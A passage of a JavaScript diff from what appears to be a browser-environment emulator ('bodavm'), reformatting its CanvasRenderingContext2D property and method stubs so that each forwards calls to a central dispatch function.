{configurable:true, enumerable:true, writable:true, value:function measureText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "measureText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "putImageData", {configurable:true, enumerable:true, writable:true, value:function putImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "putImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "roundRect", {configurable:true, enumerable:true, writable:true, value:function roundRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "roundRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "save", {configurable:true, enumerable:true, writable:true, value:function save (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "save", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "scale", {configurable:true, enumerable:true, writable:true, value:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "scale", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "setLineDash", {configurable:true, enumerable:true, writable:true, value:function setLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "setLineDash", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "setTransform", {configurable:true, enumerable:true, writable:true, value:function setTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "setTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "stroke", {configurable:true, enumerable:true, writable:true, value:function stroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "stroke", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeText", {configurable:true, enumerable:true, writable:true, value:function strokeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "transform", {configurable:true, enumerable:true, writable:true, value:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "transform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "translate", {configurable:true, enumerable:true, writable:true, value:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "translate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "arc", {configurable:true, enumerable:true, writable:true, value:function arc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "arc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "arcTo", {configurable:true, enumerable:true, writable:true, value:function arcTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "arcTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "beginPath", {configurable:true, enumerable:true, writable:true, value:function beginPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "beginPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "bezierCurveTo", {configurable:true, enumerable:true, writable:true, value:function bezierCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "bezierCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "clearRect", {configurable:true, enumerable:true, writable:true, value:function clearRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "clearRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "closePath", {configurable:true, enumerable:true, writable:true, value:function closePath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "closePath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "ellipse", {configurable:true, enumerable:true, writable:true, value:function ellipse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "ellipse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillRect", {configurable:true, enumerable:true, writable:true, value:function fillRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineTo", {configurable:true, enumerable:true, writable:true, value:function lineTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "moveTo", {configurable:true, enumerable:true, writable:true, value:function moveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "moveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "quadraticCurveTo", {configurable:true, enumerable:true, writable:true, value:function quadraticCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "quadraticCurveTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "rect", {configurable:true, enumerable:true, writable:true, value:function rect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "rect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "resetTransform", {configurable:true, enumerable:true, writable:true, value:function resetTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "resetTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "restore", {configurable:true, enumerable:true, writable:true, value:function restore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "restore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "rotate", {configurable:true, enumerable:true, writable:true, value:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "rotate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeRect", {configurable:true, enumerable:true, writable:true, value:function strokeRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeRect", arguments)}},'prototype'); +// CanvasRenderingContext2D对象 + +bodavm.memory.globalobj['CanvasRenderingContext2D'] = function CanvasRenderingContext2D() { + console.log_copy('CanvasRenderingContext2D 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CanvasRenderingContext2D)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasRenderingContext2D'], "CanvasRenderingContext2D"); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "globalAlpha", { + configurable: true, + enumerable: true, + get: function globalAlpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalAlpha_get", arguments); + }, + set: function globalAlpha() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalAlpha_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "globalCompositeOperation", { + configurable: true, + enumerable: true, + get: function globalCompositeOperation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalCompositeOperation_get", arguments); + }, + set: function globalCompositeOperation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalCompositeOperation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "filter", { + configurable: true, + enumerable: true, + get: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "filter_get", arguments); + }, + set: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "filter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "imageSmoothingEnabled", { + configurable: true, + enumerable: true, + get: function imageSmoothingEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingEnabled_get", arguments); + }, + set: function imageSmoothingEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingEnabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "imageSmoothingQuality", { + configurable: true, + enumerable: true, + get: function imageSmoothingQuality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingQuality_get", arguments); + }, + set: function imageSmoothingQuality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingQuality_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeStyle", { + configurable: true, + enumerable: true, + get: function strokeStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeStyle_get", arguments); + }, + set: function strokeStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeStyle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillStyle", { + configurable: true, + enumerable: true, + get: function fillStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillStyle_get", arguments); + }, + set: function fillStyle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillStyle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowOffsetX", { + configurable: true, + enumerable: true, + get: function shadowOffsetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetX_get", arguments); + }, + set: function shadowOffsetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetX_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowOffsetY", { + configurable: true, + enumerable: true, + get: function shadowOffsetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetY_get", arguments); + }, + set: function shadowOffsetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetY_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowBlur", { + configurable: true, + enumerable: true, + get: function shadowBlur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowBlur_get", arguments); + }, + set: function shadowBlur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowBlur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowColor", { + configurable: true, + enumerable: true, + get: function shadowColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowColor_get", arguments); + }, + set: function shadowColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineWidth", { + configurable: true, + enumerable: true, + get: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineWidth_get", arguments); + }, + set: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineWidth_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineCap", { + configurable: true, + enumerable: true, + get: function lineCap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineCap_get", arguments); + }, + set: function lineCap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineCap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineJoin", { + configurable: true, + enumerable: true, + get: function lineJoin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineJoin_get", arguments); + }, + set: function lineJoin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineJoin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "miterLimit", { + configurable: true, + enumerable: true, + get: function miterLimit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "miterLimit_get", arguments); + }, + set: function miterLimit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "miterLimit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineDashOffset", { + configurable: true, + enumerable: true, + get: function lineDashOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineDashOffset_get", arguments); + }, + set: function lineDashOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineDashOffset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "font", { + configurable: true, + enumerable: true, + get: function font() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "font_get", arguments); + }, + set: function font() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "font_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textAlign", { + configurable: true, + enumerable: true, + get: function textAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textAlign_get", arguments); + }, + set: function textAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textBaseline", { + configurable: true, + enumerable: true, + get: function textBaseline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textBaseline_get", arguments); + }, + set: function textBaseline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textBaseline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "direction_get", arguments); + }, + set: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "direction_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontKerning", { + configurable: true, + enumerable: true, + get: function fontKerning() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontKerning_get", arguments); + }, + set: function fontKerning() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontKerning_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontStretch", { + configurable: true, + enumerable: true, + get: function fontStretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontStretch_get", arguments); + }, + set: function fontStretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontStretch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontVariantCaps", { + configurable: true, + enumerable: true, + get: function fontVariantCaps() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontVariantCaps_get", arguments); + }, + set: function fontVariantCaps() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontVariantCaps_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "letterSpacing", { + configurable: true, + enumerable: true, + get: function letterSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "letterSpacing_get", arguments); + }, + set: function letterSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "letterSpacing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textRendering", { + configurable: true, + enumerable: true, + get: function textRendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textRendering_get", arguments); + }, + set: function textRendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textRendering_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "wordSpacing", { + configurable: true, + enumerable: true, + get: function wordSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "wordSpacing_get", arguments); + }, + set: function wordSpacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "wordSpacing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "clip", { + configurable: true, + enumerable: true, + writable: true, + value: function clip() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "clip", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createConicGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createConicGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createConicGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function createImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createLinearGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createLinearGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createLinearGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createPattern", { + configurable: true, + enumerable: true, + writable: true, + value: function createPattern() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createPattern", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createRadialGradient", { + configurable: true, + enumerable: true, + writable: true, + value: function createRadialGradient() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createRadialGradient", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "drawFocusIfNeeded", { + configurable: true, + enumerable: true, + writable: true, + value: function drawFocusIfNeeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "drawFocusIfNeeded", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "drawImage", { + configurable: true, + enumerable: true, + writable: true, + value: function drawImage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "drawImage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fill", { + configurable: true, + enumerable: true, + writable: true, + value: function fill() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fill", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillText", { + configurable: true, + enumerable: true, + writable: true, + value: function fillText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getContextAttributes", { + configurable: true, + enumerable: true, + writable: true, + value: function getContextAttributes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getContextAttributes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function getImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getLineDash", { + configurable: true, + enumerable: true, + writable: true, + value: function getLineDash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getLineDash", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function getTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isContextLost", { + configurable: true, + enumerable: true, + writable: true, + value: function isContextLost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isContextLost", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isPointInPath", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isPointInPath", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isPointInStroke", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInStroke() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isPointInStroke", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "measureText", { + configurable: true, + enumerable: true, + writable: true, + value: function measureText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "measureText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "putImageData", { + configurable: true, + enumerable: true, + writable: true, + value: function putImageData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "putImageData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "roundRect", { + configurable: true, + enumerable: true, + writable: true, + value: function roundRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "roundRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "save", { + configurable: true, + enumerable: true, + writable: true, + value: function save() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "save", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "scale", { + configurable: true, + enumerable: true, + writable: true, + value: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "scale", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "setLineDash", { + configurable: true, + enumerable: true, + writable: true, + value: function setLineDash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "setLineDash", arguments); + } +}, 'prototype'); 